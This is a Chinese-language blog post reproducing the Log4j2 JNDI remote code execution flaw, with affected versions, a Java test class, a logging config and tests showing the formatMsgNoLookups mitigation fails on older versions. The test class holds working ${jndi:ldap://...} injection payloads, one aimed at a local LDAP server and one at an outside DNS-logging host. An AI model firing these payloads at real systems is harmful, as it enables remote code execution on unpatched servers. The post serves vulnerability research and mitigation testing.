Log4j2 RCE漏洞复现

复现一下这个让安全圈过年的漏洞Log4j2-rce

漏洞影响范围

2.0 <= Apache Log4j <= 2.15.0-rc1（1.x版本暂时未发现存在该问题）

漏洞复现

环境要求 JDK版本不高于11.0.1 8u191 7u201 6u211，复现环境使用8u181

完整代码

主要是用log4j跑一下payload，怎么搭JNDI的利用环境可以到我之前fastjson漏洞分析的文章中找下

public class LogRCE {
    private static final Logger logger = LogManager.getLogger(LogRCE.class);

    public static void main(String[] args) {
//      DNSLOG：${jndi:ldap://pn48a0.dnslog.cn/Exp}
//      POC：${jndi:ldap://127.0.0.1:1389/ExecTest}
        logger.info("sdfdsf${jndi:ldap://127.0.0.1:1389/ExecTest}");
//      jvm启动参数：-Dlog4j2.formatMsgNoLookups=true
    }
}

配置文件，将日志级别设成info，方便对所有日志等级进行测试

<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
    <Properties>
        <Property name="log.pattern">%d{YYYY-MM-DD HH:mm:ss.SSS} %-5level %class{36} %L %M - %msg%xEx%n</Property>
        <Property name="file.all.filename">log/all.log</Property>
        <Property name="file.all.pattern">log/all.%i.log.gz</Property>
        <Property name="file.err.filename">log/err.log</Property>
        <Property name="file.err.pattern">log/err.%i.log.gz</Property>
    </Properties>
    <Appenders>
        <Console name="console" target="SYSTEM_OUT">
            <PatternLayout pattern="${log.pattern}" />
        </Console>

        <RollingFile name="all" bufferedIO="true" fileName="${file.all.filename}" filePattern="${file.all.pattern}">
            <PatternLayout pattern="${log.pattern}"/>
            <Policies>
                <SizeBasedTriggeringPolicy size="1 MB"/>
            </Policies>
            <DefaultRolloverStrategy max="10"/>
        </RollingFile>

        <RollingFile name="err" bufferedIO="true" fileName="${file.err.filename}" filePattern="${file.err.pattern}">
            <PatternLayout pattern="${log.pattern}"/>
            <Policies>
                <SizeBasedTriggeringPolicy size="1 MB"/>
            </Policies>
            <DefaultRolloverStrategy max="10"/>
        </RollingFile>
    </Appenders>
    <Loggers>
        <Root level="info">
            <AppenderRef ref="console" level="info"/>
            <AppenderRef ref="console" level="error"/>
        </Root>
    </Loggers>
</Configuration>

直接运行就可以触发

使用JVM参数的应急措施不是所有版本有效

在众多厂商发布的通告中都提供了通过增加-Dlog4j2.formatMsgNoLookups=trueJVM启动参数的方式作为应急措施，但是经过测试只对2.11及以上版本有效（2.10 jar包下载失败没有测）

2.8版本添加参数没有效果